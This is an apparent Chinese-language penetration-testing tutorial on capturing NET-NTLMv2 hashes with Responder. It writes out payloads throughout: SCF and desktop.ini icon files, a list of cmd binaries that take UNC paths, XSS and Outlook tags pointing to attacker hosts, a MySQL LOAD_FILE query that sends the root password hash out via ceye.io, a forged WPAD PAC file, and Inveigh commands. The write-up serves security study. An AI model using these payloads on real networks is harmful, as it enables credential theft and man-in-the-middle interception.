WEB安全--内网渗透--捕获NET-NTLMv2 Hash

一、前言

在LM&NTLM基础篇中我们了解到了NTLM协议的流程与加密的方式,以及具体的在type3的response中Net-ntlm hash v2的生成方式。

思考:

如果我们入侵的服务器中有域管理员的登录后的密码缓存,那就能用工具(mimikatz)抓取服务器中的域管理员密码hash,从而随意登录内网中的设备;不过这种况是极其罕见的。

如果我们入侵到内网中且没有其他设备的密码,那我们该如何横向渗透呢?

这时就可以通过一些方式捕获type3中的Net-ntlm hash进行利用,那我们该怎样获取Net-ntlm hash呢?

二、捕获NET-NTLMv2 Hash的手段

2.0、开启监听

我们用工具在公网开启一个监听,目的是实时捕获内网服务器中发来的type3 Response信息中的NET-NTLMv2 Hash

捕获工具:Responder(具体参数用法以后单独介绍)

开启监听:

有了监听,我们就需要让服务器发起访问请求,基于NTLM协议发起协商(最关键的是客户端发送的type3数据包内容),然后Responder捕获NET-NTLMv2 Hash。

2.1、图标头像操作

2.1.1、修改文件图标路径(Windows_version<=7)

文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到

将图标路径改成UNC路径,指向我们的服务器

当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash:

不过这种手段在win7后就失去作用了,所以知道原理就行了。

2.1.2、scf文件(Windows_version<=7)

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。以下是scf后缀的文件的格式

复制代码
[Shell]
Command=2
IconFile=\\172.16.100.1\scf\test.ico
[Taskbar]
Command=ToggleDesktop

新建test.scf,写入内容,放在一个文件夹底下,当用户访问该文件夹的时候,我们就会获得用户的net-ntlm hash。

2.1.3、用户头像(Windows_version=10/2016/2019)

在更改账户图片处。

用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash,这个可以用来提权。

2.2、cmd命令执行

这个比较鸡肋,都能执行命令了,干啥不行呢。但作为一种场景,也说明下。说不定有些限制的命令注入就是支持传进UNC路径呢。我平时在测试的时候一般都是用 dir \\ip\xxx来做测试的,很多cmd命令是支持传进UNC路径的,执行的时候我们就可以拿到用户的net-ntlm hash了。

复制代码
> net.exe use \hostshare 
> attrib.exe \hostshare  
> bcdboot.exe \hostshare  
> bdeunlock.exe \hostshare  
> cacls.exe \hostshare  
> certreq.exe \hostshare #(noisy, pops an error dialog) 
> certutil.exe \hostshare  
> cipher.exe \hostshare  
> ClipUp.exe -l \hostshare  
> cmdl32.exe \hostshare  
> cmstp.exe /s \hostshare  
> colorcpl.exe \hostshare #(noisy, pops an error dialog)  
> comp.exe /N=0 \hostshare \hostshare  
> compact.exe \hostshare  
> control.exe \hostshare  
> convertvhd.exe -source \hostshare -destination \hostshare  
> Defrag.exe \hostshare  
> diskperf.exe \hostshare  
> dispdiag.exe -out \hostshare  
> doskey.exe /MACROFILE=\hostshare  
> esentutl.exe /k \hostshare  
> expand.exe \hostshare  
> extrac32.exe \hostshare  
> FileHistory.exe \hostshare #(noisy, pops a gui)  
> findstr.exe * \hostshare  
> fontview.exe \hostshare #(noisy, pops an error dialog)  
> fvenotify.exe \hostshare #(noisy, pops an access denied error)  
> FXSCOVER.exe \hostshare #(noisy, pops GUI)  
> hwrcomp.exe -check \hostshare  
> hwrreg.exe \hostshare  
> icacls.exe \hostshare   
> licensingdiag.exe -cab \hostshare  
> lodctr.exe \hostshare  
> lpksetup.exe /p \hostshare /s  
> makecab.exe \hostshare  
> msiexec.exe /update \hostshare /quiet  
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)  
> mspaint.exe \hostshare #(noisy, invalid path to png error)  
> msra.exe /openfile \hostshare #(noisy, error)  
> mstsc.exe \hostshare #(noisy, error)  
> netcfg.exe -l \hostshare -c p -i foo

示例(Win11):

2.3、XSS

了解XSS的都知道,当用户访问浏览器的XSS脚本页面时,XSS就会执行。

利用xss构造

复制代码
<script src="\\192.168.114.3\xss">

2.4、outlook

发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload

复制代码
<img src="\\192.168.114.3\outlook">

当收件人打开outlook查看邮件的时候,就会触发访问我们的kali服务器,获取到用户的NET-NTLMv2 Hash。

2.5、PDF

PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生的脚本https://github.com/3gstudent/Worse-PDF

我们就能收到net-ntlmv2 hash

不过只能用Adobe打开才能生效

2.6、office

首先新建一个word,贴近一张图片

然后用7zip 打开(没测试其他软件,可自行测试)

进入word\_rels,修改document.xml.rels,可以看到Target参数本来是本地的路径,修改为UNC路径,然后加上TargetMode="External":

当打开word的时候,我们就拿到net-ntlm hash

2.7、MySQL

我们知道在MySQL注入的话,是可以通过带外通信把数据带出来。语法如下:

复制代码
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user 
WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

需要具备load_file权限,且没有secure_file_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)

仔细观察我们会发现LOAD_FILE是支持UNC路劲

我们构造

复制代码
select load_file('\\\\172.16.100.1\\mysql');

拿到net-ntlm hash

2.8、NBNS&LLMNR

windows 解析域名的顺序是

  • Hosts

  • DNS (cache / server)

  • LLMNR

  • NBNS

如果Hosts文件里面不存在,就会使用DNS解析。如果DNS解析失败,就会使用LLMNR解析,如果LLMNR解析失败,就会使用NBNS解析

参考ARP欺骗,也就是说当受害者访问一个不存在的域名的时候如aaaaaaa;受害者在Hosts 文件里面没有找到,通过DNS解析失败,就会通过LLMNR协议进行广播;这个时候攻击者就发个响应包 aaaaaaa对应的IP是x.x.x.x(这个ip是攻击者IP)进行LLMNR投毒。

这一步可以通过Responder 实现:

NBNS同理:

2.9、浏览器WPAD

wpad (Web Proxy Auto-Discovery Protocol)

通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。

默认自动检测设置是开启的。

PAC文件的格式如下:

复制代码
function FindProxyForURL(url, host) {
   if (url== 'http://www.baidu.com/') return 'DIRECT';
   if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
   if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
   return 'DIRECT';
}

如下是流程图:

下列对WPAD的利用:

2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)

用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。

流程:

①受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

②受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash

③然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141

复制代码
function FindProxyForURL(url, host){
  if ((host == "localhost") 
      || shExpMatch(host, "localhost.*") 
      ||(host == "127.0.0.1") 
      || isPlainHostName(host)) return "DIRECT"; 
  if (dnsDomainIs(host, "RespProxySrv")
      ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
                return "DIRECT"; 
  return 'PROXY ISAProxySrv:3141; DIRECT';}

④受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。

微软补丁:

1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。

2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

2.9.2、mitm6配合DHCPv6(绕过补丁)

mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量

当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置

这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址,让受害者认为mitm6是DHCPv6服务器

这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器,它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的,因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。

2.9.3、Inveigh配合DHCPv6

①启一个公网Responder(10.10.10.1)监听,把下面参数置为OFF

FTP server [OFF]

IMAP server [OFF]

POP3 server [OFF]

SMTP server [OFF]

②使用Inveigh.exe在内网投毒,指定公网ip(10.10.10.1),在内网服务器中运行

Inveigh.exe -DHCPv6 Y -SpoofIP 启动进程

③这时当受害用户重启并登录该被入侵的服务器,就会进行DHCPv6的广播,然后Inveigh.exe进程就会伪装成DHCPv6服务器与被入侵的建立联系

④这时,当用户使用浏览器访问任意网页时,浏览器(开启WPAD)就会寻找代理服务器,这时被入侵的服务器就会被Inveigh.exe引导到Responder(10.10.10.1)

-------------下面可以参考[2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)]-------------------

⑤受害者通过llmnr询问wpad主机ip在哪里(http://wpad主机ip/wpad.dat),Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

⑥受害者访问WPAD/wpad.dat

⑦然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141

javascript 复制代码
function FindProxyForURL(url, host){
  if ((host == "localhost") 
      || shExpMatch(host, "localhost.*") 
      ||(host == "127.0.0.1") 
      || isPlainHostName(host)) return "DIRECT"; 
  if (dnsDomainIs(host, "RespProxySrv")
      ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
                return "DIRECT"; 
  return 'PROXY ISAProxySrv:3141; DIRECT';}

⑧受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。

相关推荐
神经毒素几秒前
WEB安全--蓝队日志--RCE数据包分析
安全·web安全
开发者工具分享1 分钟前
项目后期发现重大漏洞,如何紧急修复
网络·安全·web安全
一个天蝎座 白勺 程序猿6 分钟前
Python(16)Python文件操作终极指南:安全读写与高效处理实践
开发语言·python·安全
李詹28 分钟前
网站DDoS防护方案——构建企业级安全屏障的关键路径
安全·ddos
恒拓高科WorkPlus8 小时前
BeeWorks:打造安全可控的企业内网即时通讯平台
大数据·人工智能·安全
newxtc9 小时前
【指纹浏览器系列-chromium编译】
人工智能·安全
恒拓高科WorkPlus9 小时前
一款安全好用的企业即时通讯平台,支持统一门户
大数据·人工智能·安全
zhongtianhulian12 小时前
中天智能装备有限公司的托盘式立库有哪些安全保护措施?
安全·云计算
appcanLiYunLong13 小时前
Webrtc让浏览器实现无服务器中转的安全私密聊天
安全·serverless·webrtc
群联云防护小杜13 小时前
隐藏源站IP与SD-WAN回源优化:高防架构的核心实践
网络·分布式·网络协议·tcp/ip·安全·架构·ddos